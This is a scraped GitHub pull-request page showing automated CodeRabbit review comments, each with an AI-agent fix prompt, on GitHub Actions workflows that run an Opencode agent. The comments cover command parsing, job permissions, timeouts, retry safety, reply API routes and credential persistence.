if [[ "$TRIMMED" =~ ^/oc[[:space:]]+implement[[:space:]]+(.*) ]]; then
SUBCOMMAND="implement"
TASK_ARGS="${BASH_REMATCH[1]}"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]+(.*) ]]; then
SUBCOMMAND="task"
TASK_ARGS="${BASH_REMATCH[1]}"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]*$ ]]; then
SUBCOMMAND="task"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+review($|[[:space:]]) ]]; then
SUBCOMMAND="review"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]*$ ]] || [[ "$TRIMMED" =~ ^/oc$ ]]; then
SUBCOMMAND="discuss"
else
# /oc with unrecognized subcommand — default to discuss
SUBCOMMAND="discuss"
fi
fi
if [[ "$TRIMMED" =~ ^/oc($|[[:space:]]) ]]; then
IS_OC="true"
if [[ "$TRIMMED" =~ ^/oc[[:space:]]+implement[[:space:]]+(.*) ]]; then
SUBCOMMAND="implement"
TASK_ARGS="${BASH_REMATCH[1]}"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]+(.*) ]]; then
SUBCOMMAND="task"
TASK_ARGS="${BASH_REMATCH[1]}"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]*$ ]]; then
SUBCOMMAND="task"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+review($|[[:space:]]) ]]; then
SUBCOMMAND="review"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]*$ ]] || [[ "$TRIMMED" =~ ^/oc$ ]]; then
SUBCOMMAND="discuss"
else
# /oc with unrecognized subcommand — default to discuss
SUBCOMMAND="discuss"
fi
fi
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/scripts/auth.sh around lines 26 - 45, Update the command detection
in the auth parser so the initial `/oc` match requires end-of-input or
whitespace, preventing prefixes such as `/octopus` from setting IS_OC. Apply the
same boundary requirement to every workflow trigger gate that checks for the
`/oc` command, while preserving valid `/oc` subcommands and arguments.

Comment on lines +247 to +258
### 3. Create a feature branch
Sanitize the issue title to create a slug:
```bash
SLUG=$(echo "$ISSUE_TITLE" | \
tr '[:upper:]' '[:lower:]' | \
sed 's/[^a-z0-9]/-/g' | \
sed 's/--*/-/g' | \
sed 's/^-//;s/-$//' | \
cut -c1-40)
BRANCH="opencode/issue-${ISSUE_NUMBER}-${SLUG}"
git checkout -b "$BRANCH" "origin/$DEFAULT_BRANCH"
```

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟠 Major | 🏗️ Heavy lift

Make Process 5 safe to retry.

Every invocation reuses the same branch name but unconditionally runs checkout -b, pushes, and creates a PR. A retry after a partial or successful run will fail on the existing branch/PR. Check for an existing remote branch and open PR, then resume or report the existing result.

Also applies to: 276-308

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-issue-handler.yml around lines 247 - 258, Make
the feature-branch and pull-request flow in the workflow’s Process 5 idempotent:
before creating the branch, check whether the computed BRANCH already exists
remotely and check whether an open PR already targets it. Reuse or check out the
existing branch instead of unconditionally running checkout -b, and skip
creation/push steps when appropriate. If an existing PR is found, resume from it
or report its result rather than creating a duplicate; apply the same retry-safe
behavior across the related steps through the PR creation block.

Comment on lines +81 to +89
process-2:
if: needs.route.outputs.process == 'process-2'
needs: route
runs-on: ubuntu-latest
permissions:
id-token: write
contents: write
pull-requests: write
steps:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

Bound all Opencode jobs with timeouts.

Processes 2, 3, and 6 can otherwise hold their concurrency groups indefinitely when the external action stalls. Add timeout-minutes, matching the bounded issue-handler jobs.

Also applies to: 211-219, 304-312

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-pr-comment.yml around lines 81 - 89, Add a
timeout-minutes setting to the process-2, process-3, and process-6 workflow
jobs, matching the timeout value used by the bounded issue-handler jobs. Keep
the existing job conditions, dependencies, permissions, and steps unchanged.

Comment on lines +116 to +126
elif [[ "$EVENT_NAME" == "issue_comment" ]]; then
# Check if the most recent comment before this one was from the bot
# Check if the comment immediately before this one was from the bot
LAST_COMMENT_AUTHOR=$(gh api \
"/repos/${{ github.repository }}/issues/${{ github.event.issue.number }}/comments" \
--jq '.[-2].user.login' 2>/dev/null || echo "")

if [[ "$LAST_COMMENT_AUTHOR" == "opencode-agent[bot]" ]] || \
[[ "$LAST_COMMENT_AUTHOR" == "github-actions[bot]" ]]; then
IS_BOT_THREAD="true"
fi

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Map the workflow and inspect the relevant region.
ast-grep outline .github/workflows/opencode-pr-comment.yml --view expanded || true
printf '\n--- lines 1-220 ---\n'
cat -n .github/workflows/opencode-pr-comment.yml | sed -n '1,220p'

Repository: dianlight/hassio-addons

Length of output: 10494


🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Search for the threading state and event handling in the workflow.
rg -n "IS_BOT_THREAD|issue_comment|pull_request_review_comment|LAST_COMMENT_AUTHOR|Process 2|opencode-agent\\[bot\\]|github-actions\\[bot\\]" .github/workflows/opencode-pr-comment.yml

Repository: dianlight/hassio-addons

Length of output: 1954


Don't infer Process 2 from the previous issue comment
.github/workflows/opencode-pr-comment.yml:116-126issue_comment is just the PR conversation timeline, not a reply chain. .[-2] can treat an unrelated collaborator comment after a bot response as bot-threaded and route it into the write-capable Process 2 path. Restrict this to pull_request_review_comment, or require an explicit /oc command for top-level PR comments.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-pr-comment.yml around lines 116 - 126, The
issue_comment branch incorrectly infers a bot thread from the immediately
preceding timeline comment, potentially routing unrelated top-level comments
into Process 2. Remove the LAST_COMMENT_AUTHOR-based IS_BOT_THREAD logic from
the issue_comment handling, and only allow write-capable routing for
pull_request_review_comment events or issue_comment entries containing an
explicit /oc command.

Comment on lines +175 to +181
## Output
Reply to the thread via `gh api`:
```bash
gh api --method POST \
/repos/${{ github.repository }}/pulls/comments/${{ github.event.comment.id }}/replies \
-f body="Your response here"
```

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
curl -fsSL \
  https://raw.githubusercontent.com/github/rest-api-description/main/descriptions/api.github.com/api.github.com.json |
jq -e '.paths["/repos/{owner}/{repo}/pulls/{pull_number}/comments/{comment_id}/replies"].post'

Repository: dianlight/hassio-addons

Length of output: 3750


🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Inspect the workflow around the cited lines and the related second location.
file=".github/workflows/opencode-pr-comment.yml"
wc -l "$file"
sed -n '150,210p' "$file"
printf '\n---\n'
sed -n '250,290p' "$file"

Repository: dianlight/hassio-addons

Length of output: 4713


🏁 Script executed:

#!/bin/bash
set -euo pipefail

file=".github/workflows/opencode-pr-comment.yml"

# Map the workflow structure and find all comment-related API calls and event conditions.
ast-grep outline "$file" --view expanded || true
printf '\n--- matches ---\n'
rg -n 'issue_comment|pull_request_review_comment|github\.event\.comment\.id|pulls/comments/.*/replies|issues/comments/.*/reactions|pulls/comments/.*/reactions' "$file"
printf '\n--- top section ---\n'
sed -n '1,120p' "$file"

Repository: dianlight/hassio-addons

Length of output: 6758


🏁 Script executed:

#!/bin/bash
set -euo pipefail

file=".github/workflows/opencode-pr-comment.yml"

# Read the Process 2 reply block and its surrounding event logic.
sed -n '240,285p' "$file"
printf '\n---\n'
sed -n '1,90p' "$file"

Repository: dianlight/hassio-addons

Length of output: 5334


🏁 Script executed:

#!/bin/bash
set -euo pipefail

file=".github/workflows/opencode-pr-comment.yml"

nl -ba "$file" | sed -n '165,185p'
printf '\n---\n'
nl -ba "$file" | sed -n '260,280p'
printf '\n---\n'
rg -n 'in_reply_to_id|pull_request_review_url|issues/comments/.*/replies|pulls/comments/.*/replies' "$file"

Repository: dianlight/hassio-addons

Length of output: 201


Use the review-comment reply route with the PR number and root comment ID. Both reply blocks call /repos/${{ github.repository }}/pulls/comments/${{ github.event.comment.id }}/replies, but that endpoint is /pulls/{pull_number}/comments/{comment_id}/replies and only accepts top-level review comments. issue_comment handling needs the issue-comment API instead.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-pr-comment.yml around lines 175 - 181, Update
both reply blocks in the workflow to use the review-comment reply route with the
pull request number and root review comment ID, rather than treating the issue
comment ID as the pull request number. For issue_comment events, use the
issue-comment API endpoint and the appropriate issue comment identifier instead
of the review-comment replies endpoint.

Comment thread .github/workflows/opencode-pr-comment.yml
Comment on lines +308 to +311
permissions:
id-token: write
contents: read
pull-requests: write

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Locate the workflow and inspect the relevant sections with line numbers.
git ls-files .github/workflows | sed -n '1,200p'
echo
wc -l .github/workflows/opencode-pr-comment.yml
echo
sed -n '1,220p' .github/workflows/opencode-pr-comment.yml
echo
sed -n '220,420p' .github/workflows/opencode-pr-comment.yml

Repository: dianlight/hassio-addons

Length of output: 17739


🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Narrow inspection to the job and any references to the payload fields and permissions.
rg -n "issue_comment|pull_request\.number|issue\.number|contents: write|contents: read|permissions:" .github/workflows/opencode-pr-comment.yml

Repository: dianlight/hassio-addons

Length of output: 1341


Use the issue number here and grant write access for pushes. issue_comment payloads expose github.event.issue.number, not github.event.pull_request.number, so Process 6 will look up the PR with an empty value. It also needs contents: write to make the git push step work.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-pr-comment.yml around lines 308 - 311, Update the
Process 6 workflow references to use github.event.issue.number when looking up
the pull request, and change the permissions block to grant contents: write
instead of read so the git push step succeeds. Preserve the existing
pull-requests: write and id-token permissions.

Comment on lines +15 to +32
review:
if: >-
github.event.issue.pull_request &&
github.event.comment.user.login != 'github-actions[bot]' &&
github.event.comment.user.login != 'opencode-agent[bot]' &&
github.event.comment.user.login != 'coderabbitai[bot]' &&
github.event.comment.user.login != 'opencode-maintenance[bot]' &&
contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) &&
github.event.issue.state == 'open' &&
startsWith(github.event.comment.body, '/oc') &&
!contains(github.event.comment.body, '/oc task') &&
!contains(github.event.comment.body, '/oc implement')
runs-on: ubuntu-latest
permissions:
id-token: write
contents: read
pull-requests: write
steps:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

Add a timeout to the review job.

A stalled external action can occupy this PR’s concurrency group for hours. Add an explicit timeout-minutes, consistent with the issue workflows.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-pr-review.yml around lines 15 - 32, Add an
explicit timeout-minutes setting to the review job alongside runs-on, using the
timeout value established by the issue workflows. Keep the existing job
condition, permissions, and steps unchanged.

Comment on lines +24 to +26
startsWith(github.event.comment.body, '/oc') &&
!contains(github.event.comment.body, '/oc task') &&
!contains(github.event.comment.body, '/oc implement')

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Route using parsed subcommands, not literal substrings.

/oc task foo, tab-separated commands, or review text merely containing /oc task are misclassified by these contains checks. In the first case, Process 6 and this review can both run. Gate the Opencode step using steps.parse.outputs.SUBCOMMAND instead.

Also applies to: 61-65

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-pr-review.yml around lines 24 - 26, Replace the
literal substring exclusions in the workflow trigger condition with a check
against the parsed subcommand output from steps.parse.outputs.SUBCOMMAND. Ensure
task and implement commands are excluded based on parsed command tokens,
including variable whitespace, while review text containing those phrases does
not affect routing.

@dianlight dianlight force-pushed the repo-sync/opencode-actions/default branch from 6ce655b to 46ee370 Compare July 12, 2026 14:23

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/opencode-issue-handler.yml:
- Around line 183-184: Update the Process 5 checkout step using actions/checkout
to set persist-credentials to false, while preserving its existing token
environment and Opencode push configuration.

In @.github/workflows/opencode-pr-comment.yml:
- Around line 84-89: Add an actions/checkout step before Process 2 in the job’s
steps, checking out the pull request branch and setting persist-credentials to
false. Keep the existing anomalyco/opencode/github processing flow unchanged.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 9222e79c-336d-4817-8a74-070088a206ed

📥 Commits

Reviewing files that changed from the base of the PR and between 6ce655b and 46ee370.

📒 Files selected for processing (10)
  • .github/scripts/auth.sh
  • .github/workflows/opencode-implement.yaml
  • .github/workflows/opencode-issue-handler.yml
  • .github/workflows/opencode-pr-comment.yml
  • .github/workflows/opencode-pr-review.yml
  • .github/workflows/opencode-review.yaml
  • .github/workflows/opencode-triage-issue.yaml
  • .github/workflows/opencode-triage-pr.yaml
  • .github/workflows/opencode-triage.yaml
  • .github/workflows/opencode.yml
🚧 Files skipped from review as they are similar to previous changes (8)
  • .github/workflows/opencode-triage.yaml
  • .github/workflows/opencode.yml
  • .github/workflows/opencode-review.yaml
  • .github/workflows/opencode-triage-issue.yaml
  • .github/workflows/opencode-implement.yaml
  • .github/workflows/opencode-triage-pr.yaml
  • .github/scripts/auth.sh
  • .github/workflows/opencode-pr-review.yml

Comment on lines +183 to +184
- name: Checkout repository
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Locate the workflow and inspect the relevant section with line numbers.
git ls-files .github/workflows/opencode-issue-handler.yml
wc -l .github/workflows/opencode-issue-handler.yml
sed -n '150,230p' .github/workflows/opencode-issue-handler.yml | cat -n

Repository: dianlight/hassio-addons

Length of output: 4235


🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Inspect surrounding workflow context and search for any explicit git push/auth handling.
sed -n '1,260p' .github/workflows/opencode-issue-handler.yml | cat -n | sed -n '1,260p'

printf '\n--- matches ---\n'
rg -n "persist-credentials|use_github_token|git push|gh api|checkout" .github/workflows/opencode-issue-handler.yml

Repository: dianlight/hassio-addons

Length of output: 12741


🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Show the full workflow context around the Process 5 job.
sed -n '1,260p' .github/workflows/opencode-issue-handler.yml | cat -n

printf '\n--- matches ---\n'
rg -n "persist-credentials|use_github_token|git push|gh api|checkout|GITHUB_TOKEN" .github/workflows/opencode-issue-handler.yml

Repository: dianlight/hassio-addons

Length of output: 13060


Set persist-credentials: false on the Process 5 checkout

This checkout leaves the GITHUB_TOKEN in .git/config by default. Process 5 already passes GITHUB_TOKEN and use_github_token: true to Opencode for its own push flow, so persistence here is unnecessary attack surface.

       - name: Checkout repository
         uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7
+        with:
+          persist-credentials: false
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Checkout repository
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7
- name: Checkout repository
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7
with:
persist-credentials: false
🧰 Tools
🪛 zizmor (1.26.1)

[warning] 183-184: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-issue-handler.yml around lines 183 - 184, Update
the Process 5 checkout step using actions/checkout to set persist-credentials to
false, while preserving its existing token environment and Opencode push
configuration.

Source: Linters/SAST tools

Comment thread .github/workflows/opencode-pr-comment.yml
@dianlight dianlight force-pushed the repo-sync/opencode-actions/default branch from 46ee370 to 5f2aa3d Compare July 12, 2026 14:42
@dianlight dianlight force-pushed the repo-sync/opencode-actions/default branch from 5f2aa3d to 64b3810 Compare July 14, 2026 20:48

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/opencode-pr-comment.yml:
- Around line 85-89: Add issues: write to the job-level permissions blocks for
process-2, process-3, and process-6 in the workflow, alongside the existing
id-token, contents, and pull-requests permissions, so their reactions POST
requests are authorized.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 5bdc60e9-1912-4e74-920f-a7541b084bcf

📥 Commits

Reviewing files that changed from the base of the PR and between 46ee370 and 64b3810.

📒 Files selected for processing (10)
  • .github/scripts/auth.sh
  • .github/workflows/opencode-implement.yaml
  • .github/workflows/opencode-issue-handler.yml
  • .github/workflows/opencode-pr-comment.yml
  • .github/workflows/opencode-pr-review.yml
  • .github/workflows/opencode-review.yaml
  • .github/workflows/opencode-triage-issue.yaml
  • .github/workflows/opencode-triage-pr.yaml
  • .github/workflows/opencode-triage.yaml
  • .github/workflows/opencode.yml
🚧 Files skipped from review as they are similar to previous changes (8)
  • .github/workflows/opencode.yml
  • .github/workflows/opencode-implement.yaml
  • .github/workflows/opencode-triage-pr.yaml
  • .github/workflows/opencode-triage-issue.yaml
  • .github/workflows/opencode-review.yaml
  • .github/workflows/opencode-triage.yaml
  • .github/scripts/auth.sh
  • .github/workflows/opencode-pr-review.yml

Comment on lines +85 to +89
permissions:
id-token: write
contents: write
pull-requests: write
steps:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

printf '\n== Workflow outline ==\n'
ast-grep outline .github/workflows/opencode-pr-comment.yml || true

printf '\n== Relevant workflow lines ==\n'
sed -n '70,110p' .github/workflows/opencode-pr-comment.yml
printf '\n---\n'
sed -n '175,215p' .github/workflows/opencode-pr-comment.yml
printf '\n---\n'
sed -n '300,320p' .github/workflows/opencode-pr-comment.yml
printf '\n---\n'
sed -n '400,435p' .github/workflows/opencode-pr-comment.yml

printf '\n== Search for reaction usage ==\n'
rg -n "reactions|issue_comment|createReaction|issue comments|issues: write" .github/workflows . -g '!**/node_modules/**' -g '!**/dist/**' -g '!**/build/**' || true

Repository: dianlight/hassio-addons

Length of output: 9935


🏁 Script executed:

#!/bin/bash
set -euo pipefail
sed -n '1,45p' .github/workflows/opencode-pr-comment.yml

Repository: dianlight/hassio-addons

Length of output: 1733


🌐 Web query:

GitHub Actions job-level permissions override workflow-level permissions unspecified scopes set to none official docs

💡 Result:

In GitHub Actions, when you define a permissions key for a job, that configuration completely overrides any permissions settings defined at the workflow level [1]. The job-level settings do not merge with or inherit from the workflow-level settings [1]. When the permissions key is used—at either the workflow level or the job level—all unspecified permissions are automatically set to none (no access), with the sole exception of the metadata scope, which always retains read access [2][3]. Because job-level permissions replace workflow-level permissions entirely, if you choose to set permissions within a specific job, you must explicitly declare every permission scope that the job requires [1]. Any scope omitted from the job's permissions block will have no access, regardless of what was specified at the workflow level [1][3].

Citations:


🏁 Script executed:

#!/bin/bash
set -euo pipefail

printf '\n== Lines 150-220 ==\n'
sed -n '150,220p' .github/workflows/opencode-pr-comment.yml
printf '\n== Lines 260-320 ==\n'
sed -n '260,320p' .github/workflows/opencode-pr-comment.yml
printf '\n== Lines 390-435 ==\n'
sed -n '390,435p' .github/workflows/opencode-pr-comment.yml

Repository: dianlight/hassio-addons

Length of output: 7175


Add issues: write to the reaction jobs. process-2, process-3, and process-6 all POST to /issues/comments/.../reactions, but each job-level permissions block omits issues: write, so those reactions can fail silently behind || true.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-pr-comment.yml around lines 85 - 89, Add issues:
write to the job-level permissions blocks for process-2, process-3, and
process-6 in the workflow, alongside the existing id-token, contents, and
pull-requests permissions, so their reactions POST requests are authorized.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant